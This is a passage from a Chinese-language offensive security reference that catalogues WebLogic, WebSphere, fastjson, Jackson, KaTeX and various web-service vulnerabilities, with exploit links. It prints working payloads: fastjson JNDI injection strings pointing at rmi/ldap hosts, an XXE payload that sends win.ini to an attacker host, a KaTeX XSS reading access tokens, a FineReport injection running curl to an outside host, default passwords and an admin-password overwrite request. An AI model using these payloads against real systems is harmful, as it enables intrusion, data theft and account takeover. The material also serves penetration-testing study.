    - [voidfyoo/CVE-2018-3191](https://github.com/voidfyoo/CVE-2018-3191)

**CVE-2018-3245**
- 简介

    Oracle Fusion Middleware 中的 WebLogic Server 组件 10.3.6.0 版本、12.1.3.0 版本和 12.2.1.3 版本的 WLS Core Components 子组件存在安全漏洞。攻击者可利用该漏洞控制组件，影响数据的保密性、完整性和可用性。

- 影响版本
    - weblogic_server 10.3.6.0.0
    - weblogic_server 12.1.3.0.0
    - weblogic_server 12.2.1.3.0

- 文章
    - [weblogic反序列化漏洞 cve-2018-3245](https://blog.51cto.com/13770310/2308371)

- POC | Payload | exp
    - [pyn3rd/CVE-2018-3245](https://github.com/pyn3rd/CVE-2018-3245)

**CVE-2018-3246**
- 简介

    Oracle Fusion Middleware 中的 WebLogic Server 组件 12.1.3.0 版本和 12.2.1.3 版本的 WLS - Web Services 子组件存在安全漏洞。攻击者可利用该漏洞未授权访问数据，影响数据的保密性。

- 影响版本
    - weblogic_server 12.1.3.0.0
    - weblogic_server 12.2.1.3.0

- 文章
    - [看我如何在Weblogic里捡一个XXE (CVE-2018-3246) ](https://www.freebuf.com/vuls/186862.html)

- POC | Payload | exp
    - [hackping/XXEpayload](https://github.com/hackping/XXEpayload/tree/master/xxe)
    - `http://127.0.0.1:8338/ws_utc/begin.do`

**CVE-2018-3252**
- POC | Payload | exp
    - [pyn3rd/CVE-2018-3252](https://github.com/pyn3rd/CVE-2018-3252)

**CVE-2019-2615 任意文件读取漏洞**
- 简介

    Oracle Fusion Middleware 中的 WebLogic Server 组件 10.3.6.0.0 版本、12.1.3.0.0 版本和 12.2.1.3.0 版本的 WLS Core Components 子组件存在安全漏洞。攻击者可利用该漏洞未授权访问数据，影响数据的保密性。

- 影响版本
    - weblogic_server 10.3.6.0.0
    - weblogic_server 12.1.3.0.0
    - weblogic_server 12.2.1.3.0

- POC | Payload | exp
    - [chiaifan/CVE-2019-2615](https://github.com/chiaifan/CVE-2019-2615)

**CVE-2019-2618 Weblogic Upload Vuln(Need username password)**
- 简介

    Oracle Fusion Middleware 中的 WebLogic Server 组件 10.3.6.0.0 版本和 12.1.3.0.0 版本和 12.2.1.3.0 版本的 WLS Core Components 子组件存在安全漏洞。攻击者可利用该漏洞未授权访问、更新、插入或删除数据，影响数据的保密性和完整性。

- 影响版本
    - weblogic_server 10.3.6.0.0
    - weblogic_server 12.1.3.0.0
    - weblogic_server 12.2.1.3.0

- POC | Payload | exp
    - [jas502n/cve-2019-2618](https://github.com/jas502n/cve-2019-2618)

**CVE-2019-2725 && CNVD-C-2019-48814**
- 简介

    4月17日，国家信息安全漏洞共享平台（CNVD）公开了 Weblogic 反序列化远程代码执行漏洞（CNVD-C-2019-48814）。由于在反序列化处理输入信息的过程中存在缺陷，未经授权的攻击者可以发送精心构造的恶意 HTTP 请求，利用该漏洞获取服务器权限，实现远程代码执行。

- 影响版本
    - weblogic_server 10.3.6.0.0
    - weblogic_server 12.1.3.0.0

- 文章
    - [CNVD-C-2019-48814 Weblogic wls9_async_response 反序列化RCE复现](https://www.jianshu.com/p/c4982a845f55)
    - [WebLogic RCE(CVE-2019-2725)漏洞之旅](https://paper.seebug.org/909/)

- POC | Payload | exp
    ```bash
    <目标 IP:端口>/_async/AsyncResponseService
    <目标 IP:端口>/wls-wsat/CoordinatorPortType
    ```
    - [MyTools/CVE-2019-2725](https://github.com/No4l/MyTools/tree/master/CVE-2019-2725)
    - [skytina/CNVD-C-2019-48814-COMMON](https://github.com/skytina/CNVD-C-2019-48814-COMMON)
    - [lufeirider/CVE-2019-2725](https://github.com/lufeirider/CVE-2019-2725)
    - [jas502n/CNVD-C-2019-48814](https://github.com/jas502n/CNVD-C-2019-48814)
    - [black-mirror/Weblogic](https://github.com/black-mirror/Weblogic) - Weblogic CVE-2019-2725 CVE-2019-2729 Getshell 命令执行

**CVE-2019-2890 WebLogic 反序列化 RCE**
- 简介

    2019年10月16日，WebLogic 官方发布了安全补丁公告，修复了包含 CVE-2019-2890 等高危漏洞。Weblogic 在利用 T3 协议进行远程资源加载调用时，默认会进行黑名单过滤以保证反序列化安全。漏洞 CVE-2019-2890 绕过了 Weblogic 的反序列化黑名单，使攻击者可以通过 T3 协议对存在漏洞的 Weblogic 组件实施远程攻击，但该漏洞利用条件较高，官方也归类为需要身份认证。

- 影响版本
    - weblogic_server 10.3.6.0.0
    - weblogic_server 12.1.3.0.0
    - weblogic_server 12.2.1.3.0

- POC | Payload | exp
    - [SukaraLin/CVE-2019-2890](https://github.com/SukaraLin/CVE-2019-2890)
    - [jas502n/CVE-2019-2890](https://github.com/jas502n/CVE-2019-2890)

**CVE-2020-2551 Weblogic RCE with IIOP**
- 简介

    最近 Oracle 发布了新一轮补丁,其中重点了修复多个高危安全漏洞.其中较为严重之一的则是 CVE-2020-2551.攻击者可以在未授权的情况下通过 IIOP 协议对存在漏洞的 WebLogic 进行远程代码执行的攻击.成功利用该漏洞的攻击者可以直接控制服务器,危害性极高。

- 影响版本
    - weblogic_server 10.3.6.0.0
    - weblogic_server 12.1.3.0.0
    - weblogic_server 12.2.1.3.0
    - weblogic_server 12.2.1.4.0

- 文章
    - [WebLogic CVE-2020-2551漏洞分析](https://paper.seebug.org/1138/)
    - [漫谈WebLogic CVE-2020-2551](https://www.anquanke.com/post/id/201005)

- POC | Payload | exp
    - [jas502n/CVE-2020-2551](https://github.com/jas502n/CVE-2020-2551)
    - [Y4er/CVE-2020-2551](https://github.com/Y4er/CVE-2020-2551)

**CVE-2020-2555 && CVE-2020-2883 Oracle Coherence 反序列化漏洞分析**
- 简介

    Oracle 官方在1月补丁中修复了 CVE-2020-2555 漏洞，该漏洞位于 Oracle Coherence 组件中。该组件是业内领先的用于解决集群应用程序数据的缓存的解决方案，其默认集成在 Weblogic12c 及以上版本中。

    该漏洞提出了一条新的反序列化 gadget，未经身份验证的攻击者通过精心构造的 T3 请求触发可以反序列化 gadget，最终造成远程命令执行的效果。

- 文章
    - [Oracle Coherence 反序列化漏洞分析（CVE-2020-2555）](https://paper.seebug.org/1141/)
    - [Weblogic ChainedExtractor葫芦兄弟漏洞分析（CVE-2020-2555、CVE-2020-2883）](https://www.secpulse.com/archives/140206.html)

- POC | Payload | exp
    - [Y4er/CVE-2020-2555](https://github.com/Y4er/CVE-2020-2555)
    - [Y4er/CVE-2020-2883](https://github.com/Y4er/CVE-2020-2883)

**CVE-2020-14645**
- 文章
    - [CVE-2020-14645——WebLogic反序列化](https://www.anquanke.com/post/id/231425)

- POC | Payload | exp
    - [Y4er/CVE-2020-14645](https://github.com/Y4er/CVE-2020-14645)

**CVE-2020-14756**
- POC | Payload | exp
    - [Y4er/CVE-2020-14756](https://github.com/Y4er/CVE-2020-14756)

**CVE-2020-14882**
- 文章
    - [漏洞分析｜Weblogic未授权访问及命令执行分析复现（CVE-2020-14882/14883）](https://mp.weixin.qq.com/s/GRtDqr45x-tNnoR2Qi5ISg)
    - [Weblogic CVE-2020-14882(10.x 12.x) 利用方式](https://mp.weixin.qq.com/s/QrVRGm5rNw7wz6LtD4rZyQ)

- POC | Payload | exp
    - [jas502n/CVE-2020-14882: CVE-2020-14882、CVE-2020-14883](https://github.com/jas502n/CVE-2020-14882)
    - [Weblogic远程代码执行-CVE-2020-14882](https://www.hedysx.com/2652.html)

---

## Websphere

**CVE-2014-0910**
- POC | Payload | exp
    - [IBM Websphere Portal - Persistent Cross-Site Scripting](https://www.exploit-db.com/exploits/36941)

**CVE-2015-7450**
- POC | Payload | exp
    - [websphere_rce.py](https://github.com/Coalfire-Research/java-deserialization-exploits/blob/master/WebSphere/websphere_rce.py)

**CVE-2019-4279 Websphere ND远程命令执行**
- 文章
    - [Websphere ND远程命令执行分析以及构造RpcServerDispatcher Payload(CVE-2019-4279) ](https://xz.aliyun.com/t/6394)

**CVE-2020-4643 WebSphere XXE 漏洞**
- 文章
    - [WebSphere XXE 漏洞分析(CVE-2020-4643)](https://paper.seebug.org/1342/)

- POC | Payload | exp
    ```
    xml如下：
    <!DOCTYPE x [
    <!ENTITY % aaa SYSTEM "file:///C:/Windows/win.ini">
    <!ENTITY % bbb SYSTEM "http://yourip:8000/xx.dtd">
    %bbb;
    ]>
    <definitions name="HelloService" xmlns="http://schemas.xmlsoap.org/wsdl/">
    &ddd;
    </definitions>

    xx.dtd如下：
    <!ENTITY % ccc '<!ENTITY ddd '<import namespace="uri" location="http://yourip:8000/xxeLog?%aaa;"/>'>'>%ccc;
    ```

---

# 组件
## 编辑器

**手册**
- [编辑器漏洞手册](https://navisec.it/%e7%bc%96%e8%be%91%e5%99%a8%e6%bc%8f%e6%b4%9e%e6%89%8b%e5%86%8c/)

### ewebeditor

> 官网 : http://www.ewebeditor.net/

**文章**
- [ewebeditor 编辑器漏洞总结](https://www.0dayhack.com/post-426.html)

**常用路径**
```
Admin_Login.asp
Admin_Default.asp
Admin_Style.asp
Admin_UploadFile.asp
Upload.asp
Admin_ModiPwd.asp
eWebEditor.asp
db/ewebeditor.mdb
ewebeditor/login_admin.asp
eweb/login_admin.asp
editor/login_admin.asp
```

---

### FCKeditor

> 官网 : https://ckeditor.com/

**文章**
- [Fckeditor上传漏洞利用拿shell总结](https://www.0dayhack.com/post-413.html)

**常用路径**
```
FCKeditor/_samples/default.html
FCKeditor/_whatsnew.html
fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.test.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
```

**.net 目录遍历**
```
/FCkeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=
```

---

### kindeditor

> 官网 : http://kindeditor.net/

**kindeditor<=4.1.5 上传漏洞**
- 文章
    - [kindeditor<=4.1.5上传漏洞复现](https://www.cnblogs.com/backlion/p/10421405.html)

- 漏洞修复
    1. 直接删除 `upload_json.*` 和 `file_manager_json.*`
    2. 升级 kindeditor 到最新版本

---

### ueditor

**CNVD-2017-20077 ueditor 上传漏洞**
- 文章
    - [UEditor编辑器两个版本任意文件上传漏洞分析](https://www.freebuf.com/vuls/181814.html)
    - [【漏洞预警】UEditor编辑器任意文件上传可getshell](https://nosec.org/home/detail/1758.html)
    - [Ueditor编辑器漏洞（文件上传）](https://www.jianshu.com/p/681162ed0374)

- POC | Payload | exp
    - [theLSA/ueditor-getshell](https://github.com/theLSA/ueditor-getshell)

---

## 序列化

**文章**
- [无损检测Fastjson DoS漏洞以及盲区分Fastjson与Jackson组件](https://blog.riskivy.com/%e6%97%a0%e6%8d%9f%e6%a3%80%e6%b5%8bfastjson-dos%e6%bc%8f%e6%b4%9e%e4%bb%a5%e5%8f%8a%e7%9b%b2%e5%8c%ba%e5%88%86fastjson%e4%b8%8ejackson%e7%bb%84%e4%bb%b6/)

### fastjson

> 项目地址 : https://github.com/alibaba/fastjson

**文章**
- [Fastjson反序列化进攻利用](https://mp.weixin.qq.com/s/i7-g89BJHIYTwaJbLuGZcQ)

**工具**
- [wyzxxz/fastjson_rce_tool](https://github.com/wyzxxz/fastjson_rce_tool) - fastjson rce 命令执行综合利用工具，一键操作,fastjson remote code execute poc
- [c0ny1/FastjsonExploit](https://github.com/c0ny1/FastjsonExploit) - fastjson漏洞快速利用框架
- [Lonely-night/fastjson_gadgets_scanner](https://github.com/Lonely-night/fastjson_gadgets_scanner) - scanner 扫描反编译生成的源文件
- [p1g3/Fastjson-Scanner](https://github.com/p1g3/Fastjson-Scanner) - a burp extension to find where use fastjson

---

以下内容来自 <sup>[Tide安全团队 [Fastjson反序列化进攻利用](https://mp.weixin.qq.com/s/i7-g89BJHIYTwaJbLuGZcQ) 文章]</sup>

**fastjson<=1.2.24 反序列化漏洞**
- POC | Payload | exp
    ```
    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
    ```

**fastjson<=1.2.41**
- 简介

    第一个 Fastjson 反序列化漏洞爆出后，阿里在1.2.25版本设置了 autoTypeSupport 属性默认为 false，并且增加了`checkAutoType()` 函数，通过黑白名单的方式来防御 Fastjson 反序列化漏洞，因此后面发现的 Fastjson 反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。 com.sun.rowset.JdbcRowSetImpl 在1.2.25版本被加入了黑名单，fastjson 有个判断条件判断类名是否以”L”开头、以”;”结尾，是的话就提取出其中的类名再加载进来，因此在原类名头部加L，尾部加;即可绕过黑名单的同时加载类。

    autoTypeSupport 属性为 true 才能使用。（fastjson>=1.2.25 默认为 false）

- POC | Payload | exp
    ```
    {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
    ```

**fastjson<=1.2.42**
- 简介

    fastjson 在1.2.42版本新增了校验机制。

    如果输入类名的开头和结尾是L和;就将头和尾去掉，再进行黑名单验证。 还把黑名单的内容进行了加密，防止安全人员进行研究，增加了研究的门槛。 但是有人已在Github上跑出了大部分黑名单包类：https://github.com/LeadroyaL/fastjson-blacklist 绕过方法，在类名外部嵌套2层L;。 原类名：com.sun.rowset.JdbcRowSetImpl 绕过： LLcom.sun.rowset.JdbcRowSetImpl;;

- POC | Payload | exp
    ```
    {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
    ```

**fastjson<=1.2.43**
- 简介

    fastjson 在 1.2.43 中 `checkAutoType()` 函数增加判断开头为 LL 直接报错。 绕过方法: 根据 fastjson 判断函数，`[` 开头则提取类名，且后面字符字符为 `[`、`{` 等，即可正常调用。

    autoTypeSupport 属性为 true 才能使用。（fastjson>=1.2.25 默认为 false）

- POC | Payload | exp
    ```
    {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
    ```

**fastjson<=1.2.45**
- 简介

    前提条件：需要目标服务端存在 mybatis 的 jar 包，且版本需为 3.x.x 系列 <3.5.0 的版本。 使用黑名单绕过，org.apache.ibatis.datasource 在1.2.46版本被加入了黑名单 由于在项目中使用的频率也较高，所以影响范围较大。

- POC | Payload | exp
    ```
    {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}
    ```

**fastjson <=1.2.47 远程代码执行漏洞**
- 简介

    autoType 为关闭状态也可使用。 loadClass 中默认 cache 设置为 true，利用分为2步执行，首先使用 java.lang.Class 把获取到的类缓存到 mapping 中，然后直接从缓存中获取到了 com.sun.rowset.JdbcRowSetImpl 这个类，绕过了黑名单机制。

- 文章
    - [Fastjson <=1.2.47 远程代码执行漏洞分析](https://www.anquanke.com/post/id/181874)

- 工具
    - [CaijiOrz/fastjson-1.2.47-RCE](https://github.com/CaijiOrz/fastjson-1.2.47-RCE)

**fastjson<=1.2.62**
- POC | Payload | exp
    ```json
    {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";
    ```

**fastjson < 1.2.66 远程代码执行漏洞**
- POC | Payload | exp
    ```json
    {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

    {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

    {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

    {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}
    ```

**fastjson < 1.2.66 版本拒绝服务漏洞**

- 影响范围
    - 1.2.36 - 1.2.62

- 文章
    - [fastjson < 1.2.66 版本最新漏洞分析](https://mp.weixin.qq.com/s/RShHui_TJeZM7-frzCfH7Q)

### Jackson

FasterXML Jackson 是美国 FasterXML 公司的一款适用于 Java 的数据处理工具。

主要的几个 jar 包：
- jackson-core : 核心包
- jackson-annotations : 注解包
- jackson-databind : 数据绑定包

**CVE-2017-7525 Jackson-databind 反序列化漏洞**
- 简介

    Jackson-databind 支持 Polymorphic Deserialization 特性（默认情况下不开启），当 json 字符串转换的 Target class 中有 polymorph fields，即字段类型为接口、抽象类或 Object 类型时，攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类)，来实现实例化指定的类，借助某些特殊的 class，如 TemplatesImpl，可以实现任意代码执行。

- 文章
    - [Jackson-databind 反序列化漏洞（CVE-2017-7525）](https://vulhub.org/#/environments/jackson/CVE-2017-7525/)

**CVE-2017-17485 Jackson-databind 反序列化**
- 简介

    FasterXML Jackson 是美国 FasterXML 公司的一款适用于 Java 的数据处理工具。jackson-databind 是其中的一个具有数据绑定功能的组件。

    FasterXML Jackson-databind 2.8.10 及之前版本和 2.9.x 版本至 2.9.3 版本中存在代码问题漏洞。远程攻击者可通过向 ObjectMapper 的 readValue 方法发送恶意制作的 JSON 输入并绕过黑名单利用该漏洞执行代码。

- 文章
    - [CVE-2017-17485 Jackson-databind 反序列化](http://www.sec-redclub.com/archives/1058/)

**CVE-2019-12086**
- 简介

    使用了 jackson-databind 2.x before 2.9.9 的 Java 应用，如果 ClassPath 中有 com.mysql.cj.jdbc.admin.MiniAdmin（存在于 MySQL 的 JDBC 驱动中）这个类，那么 Java 应用所在的服务器上的文件，就可能被任意读取并传送到恶意的MySQL Server。

- 文章
    - [分析Jackson的安全漏洞CVE-2019-12086](https://www.cnblogs.com/xinzhao/p/11005419.html)

**CVE-2019-12384 Jackson-databind RCE And SSRF**
- 简介

    6月21日，Redhat 官方发布 jackson-databind 漏洞（CVE-2019-12384）安全通告，多个 Redhat 产品受此漏洞影响，CVSS 评分为 8.1，漏洞利用复杂度高。7月22日，安全研究员 Andrea Brancaleoni 对此漏洞进行分析，并公布了该漏洞的分析文章。

    该漏洞是由于 Jackson 黑名单过滤不完整而导致，当开发人员在应用程序中通过 ObjectMapper 对象调用 enableDefaultTyping 方法时，程序就会受到此漏洞的影响，攻击者就可利用构造的包含有恶意代码的 json 数据包对应用进行攻击，直接获取服务器控制权限。

- 影响版本
    - Jackson-databind 2.X < 2.9.9.1

- 文章
    - [CVE-2019-12384：Jackson反序列化漏洞分析](https://www.anquanke.com/post/id/182695)
    - [Jackson CVE-2019-12384 RCE 复现记录 ](http://scriptboy.cn/p/jackson-cve-2019-12384/)

- POC | Payload | exp
    - [jas502n/CVE-2019-12384](https://github.com/jas502n/CVE-2019-12384)

**CVE-2020-8840 FasterXML/jackson-databind 远程代码执行漏洞**
- 影响版本
    - Jackson-databind 2.X < 2.9.10.2

- POC | Payload | exp
    - [jas502n/CVE-2020-8840](https://github.com/jas502n/CVE-2020-8840)

**CVE-2020-9547 FasterXML/jackson-databind 远程代码执行漏洞**
- 影响版本
    - Jackson-databind 2.X < 2.9.10.4

- POC | Payload | exp
    - [fairyming/CVE-2020-9547](https://github.com/fairyming/CVE-2020-9547)

**CVE-2020-9548 FasterXML/jackson-databind 远程代码执行漏洞**
- 影响版本
    - Jackson-databind 2.X < 2.9.10.4

- POC | Payload | exp
    - [fairyming/CVE-2020-9548](https://github.com/fairyming/CVE-2020-9548)

**CVE-2020-11113 远程代码执行漏洞**
- 影响版本
    - Jackson-databind  < 2.9.10.4

- 文章
    - [Jackson-databind-2670远程代码执行漏洞简单分析](https://xz.aliyun.com/t/7506)

### Xstream

**文章**
- [XStream反序列化组件攻击分析](https://www.angelwhu.com/paper/2016/03/15/xstream-deserialization-component-attack-analysis/#0x00-XStream%E7%BB%84%E4%BB%B6%E5%8A%9F%E8%83%BD)

---

## JavaScript库
### jQuery

**检测工具**
- [jQuery versions with known weaknesses](http://research.insecurelabs.org/jquery/test/) - 在线查找已知版本的 jQuery 漏洞
- [mahp/jQuery-with-XSS](https://github.com/mahp/jQuery-with-XSS)
    ```
    将代码中 src 后的链接修改为自己要验证的 js 地址链接。
    ```

### KaTeX

**xss**
- 相关链接
    - [[CRITICAL BUG] Inject any html/css/js by using KaTeX · Issue #1160 · KaTeX/KaTeX](https://github.com/KaTeX/KaTeX/issues/1160)
    - [[BUG] Injecting arbitrary code into webapp by exploiting KaTeX (#1859) · Issues · GitLab.org / gitter / webapp · GitLab](https://gitlab.com/gitlab-org/gitter/webapp/-/issues/1859)
    - [Gitter XSS Crypto Mining Security Issue Notification](https://blog.gitter.im/2018/02/16/gitter-xss-cryptocoin-mining-security-issue-notification/)

- 案例
    - [Sec-IN社区安全测试——文章正文XSS](https://www.sec-in.com/article/261)

- POC | Payload | exp
    ```
    $$ \<script id="iplog">x=new XMLHttpRequest(); x.open("GET",
    "https://afternoon-fjord-12487.herokuapp.com/");
    x.send();document.getElementById("id").parent.parent.style = "display:none"
    </script> $$
    ```
    ```
    $$ \<input type=image src=/static/css/img/logo.23d7be3.svg
    onload=alert(localStorage.access_token)> $$
    ```

---

## 其他
### Ghostscript

**CVE-2019-6116 沙箱绕过（命令执行）漏洞**
- POC | Payload | exp
    - [GhostScript 沙箱绕过（命令执行）漏洞（CVE-2019-6116）](https://github.com/vulhub/vulhub/tree/master/ghostscript/CVE-2019-6116)

### webuploader

> 项目地址 : https://github.com/fex-team/webuploader

**webuploader-v-0.1.15 组件存在文件上传漏洞(未授权)**
- POC | Payload | exp
    - [jas502n/webuploader-0.1.15-Demo](https://github.com/jas502n/webuploader-0.1.15-Demo#webuploader-v-0115-%E7%BB%84%E4%BB%B6%E5%AD%98%E5%9C%A8%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E6%9C%AA%E6%8E%88%E6%9D%83)

---

# 服务

## AppWeb

**CVE-2018-8715 AppWeb认证绕过漏洞**

- 简介

    其7.0.3之前的版本中，对于 digest 和 form 两种认证方式，如果用户传入的密码为 null（也就是没有传递密码参数），appweb 将因为一个逻辑错误导致直接认证成功，并返回 session。

- POC | Payload | exp
    - [AppWeb认证绕过漏洞（CVE-2018-8715）](https://vulhub.org/#/environments/appweb/CVE-2018-8715/) - (未复现成功)

---

## Cacti

**默认密码**
```
admin   admin
```

**CVE-2020-8813 Cacti v1.2.8 远程命令执行漏洞**
- 文章
    - [Cacti v1.2.8 authenticated Remote Code Execution (CVE-2020-8813)](https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/)

---

## Confluence

> 官网 : https://www.atlassian.com/software/confluence

Confluence 是一个专业的企业知识管理与协同软件，也可以用于构建企业 wiki。使用简单，强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论，信息推送。

**CVE-2019-3394 Confluence 文件读取漏洞**
- 文章
    - [Confluence 文件读取漏洞(CVE-2019-3394)分析](https://paper.seebug.org/1025/)

**CVE-2019-3396 Confluence Wiki 远程代码执行**
- 文章
    - [Confluence 未授权 RCE (CVE-2019-3396) 漏洞分析](https://paper.seebug.org/884/)

- POC | Payload | exp
    - [jas502n/CVE-2019-3396](https://github.com/jas502n/CVE-2019-3396)

**CVE-2019-3398 Atlassian Confluence Download Attachments Remote Code Execution**
- 简介

    Confluence Server 和 Data Center 在 downloadallattachments 资源中存在路径穿越漏洞。 在 Page 或 Blogs 具有添加附件权限的用户，或具有创建新空间或个人空间权限的用户，或对某空间具有“管理员”权限的用户可利用此路径穿越漏洞将文件写入任意位置。一定条件下可以执行任意代码。

- 影响版本
    - Atlassian confluence 2.0.0 ~ 6.6.13
    - Atlassian confluence 6.7.0 ~ 6.12.4
    - Atlassian confluence 6.13.0 ~ 6.13.4
    - Atlassian confluence 6.14.0 ~ 6.14.3

- POC | Payload | exp
    - https://www.peerlyst.com/posts/cve-2019-3398-atlassian-confluence-download-attachments-remote-code-execution-juniper-networks?utm_source=twitter&utm_medium=social&utm_content=peerlyst_post&utm_campaign=peerlyst_shared_post

---

## Coremail

> 官网 : https://www.coremail.cn/

Coremail 论客邮件系统于2000年首发，是中国第一套中文邮件系统。是网易等运营商至今一直使用的邮件系统，也是政府机关、大学、金融机构、上市公司及其他大型企业（包含国有企业）广泛使用的邮件系统。

**工具**
- [dpu/coremail-address-book](https://github.com/dpu/coremail-address-book) - Coremail邮件系统组织通讯录一键导出

**敏感文件泄露漏洞**
- POC | Payload | exp
    ```
    /mailsms/s?func=ADMIN:appState&dumpConfig=/
    ```
    - [yuxiaoyou123/coremail-exp](https://github.com/yuxiaoyou123/coremail-exp)

**CVE-2020-29133 Coremail 存储型XSS**
- POC | Payload | exp
    ```
    coremail/XT5/jsp/upload.jsp  上传 1.jpg.html
    ```

---

## Crowd

> 官网 : https://www.atlassian.com/software/crowd

Atlassian Crowd 是一套基于 Web 的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center 是 Crowd 的集群部署版。

**CVE-2019-11580 Atlassian Crowd 未授权访问漏洞**
- 简介

    Atlassian Crowd 和 Crowd Data Center 在其某些发行版本中错误地启用了 pdkinstall 开发插件，使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对 Atlassian Crowd 和 Crowd Data Center 安装任意的恶意插件，执行任意代码/命令，从而获得服务器权限。

- 影响版本
    - Atlassian Crowd 2.1.0 ~ 3.0.5
    - Atlassian Crowd 3.1.0 ~ 3.1.6
    - Atlassian Crowd 3.2.0 ~ 3.2.8
    - Atlassian Crowd 3.3.0 ~ 3.3.5
    - Atlassian Crowd 3.4.0 ~ 3.4.4

- 文章
    - [Analysis of an Atlassian Crowd RCE - CVE-2019-11580](https://www.corben.io/atlassian-crowd-rce/)

- POC | Payload | exp
    - [jas502n/CVE-2019-11580](https://github.com/jas502n/CVE-2019-11580)

---

## DolphinScheduler

> 官网 : https://dolphinscheduler.apache.org/zh-cn/

Apache DolphinScheduler（目前处在孵化阶段）是一个分布式、去中心化、易扩展的可视化DAG工作流任务调度系统，其致力于解决数据处理流程中错综复杂的依赖关系，使调度系统在数据处理流程中开箱即用。

**默认密码**
```
admin dolphinscheduler
```

**CVE-2020-13922 权限覆盖漏洞**
- POC | Payload | exp
    ```
    POST /dolphinscheduler/users/update
    id=1&userName=admin&userPassword=Password1!&tenantId=1&email=sdluser%40sdluser.sdluser&phone=
    ```

---

## FineRePort

**帆软报表 FineRePort 未授权远程命令执行漏洞**
- 影响版本
    - 帆软报表 FineRePortv8.0
    - 帆软报表 FineRePortv9.0

- POC | Payload | exp
    ```
    xxx.com/WebReport/ReportServer?op=fr_log&cmd=fg_errinfo&fr_username=admin

    这个接口 打开 点查询 burp拦截数据包 替换post的内容

    __parameters__={"LABEL1":"TYPE:","TYPE":"6;CREATE ALIAS RUMCMD FOR \"com.fr.chart.phantom.system.SystemServiceUtils.exeCmd\";CALL RUMCMD('curl http://uki7s7.ceye.io');select msg, trace, sinfo, logtime from fr_errrecord where 1=1","LABEL3":"START_TIME:","START_TIME":"2020-08-11 00:00","LABEL5":"END_TIME:","END_TIME":"2020-08-11 16:41","LABEL7":"LIMIT:","LIMIT":2}

    ```

---

## FlySpray

> 官网 : http://www.flyspray.org/

**XSRF Stored FlySpray 1.0-rc4 (XSS2CSRF add admin account)**
- POC | Payload | exp
    - [FlySpray 1.0-rc4 - Cross-Site Scripting / Cross-Site Request Forgery](https://www.exploit-db.com/exploits/41918)

---

## GitLab

**CVE-2020-10977 GitLab 任意文件读取漏洞复现**
- 简介

    GitLab 是一个用于仓库管理系统的开源项目，使用Git作为代码管理工具，并在此基础上搭建起来的web服务。GitLab是由GitLabInc.开发，使用MIT许可证的基于网络的Git仓库管理工具，且具有wiki和issue跟踪功能。

- 文章
    - [GitLab任意文件读取漏洞复现](https://mp.weixin.qq.com/s/HKZHUs_bTN-00_8HsU6grA)

---

## Harbor

> 官网 : https://goharbor.io/

Harbor 的漏洞参考 https://github.com/goharbor/harbor/security/advisories

**CVE-2019-3990 User Enumeration Vulnerability**
- https://github.com/goharbor/harbor/security/advisories/GHSA-6qj9-33j4-rvhg

- 影响版本
    - harbor 1.7.0 ~ 1.7.6
    - harbor 1.8.0 ~ 1.8.5
    - harbor 1.9.0 ~ 1.9.1

- POC | Payload | exp
    ```
    GET /api/users/search?email=@test
    .com
        => {"code":400,"message":"username is required"}

    GET /api/users/search?username=t
        => User Enumeration
    ```

---

## Horde_Groupware_Webmail

**Horde Groupware Webmail Edition 远程命令执行**
- 简介

    Horde Groupware Webmail 是美国 Horde 公司的一套基于浏览器的企业级通信套件。 Horde Groupware Webmail 中存在代码注入漏洞。该漏洞源于外部输入数据构造代码段的过程中，网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞生成非法的代码段，修改网络系统或组件的预期的执行控制流。

- POC | Payload | exp
    - https://srcincite.io/pocs/zdi-20-1051.py.txt

---

## Jenkins

> 官网 : https://jenkins.io/

Jenkins 的漏洞参考 https://jenkins.io/security/advisories/

**搭建教程**
- [Jenkins 搭建](../../../Integrated/Linux/Power-Linux.md#Jenkins)

**文章**
- [Hacking Jenkins Part 1 - Play with Dynamic Routing](https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/)
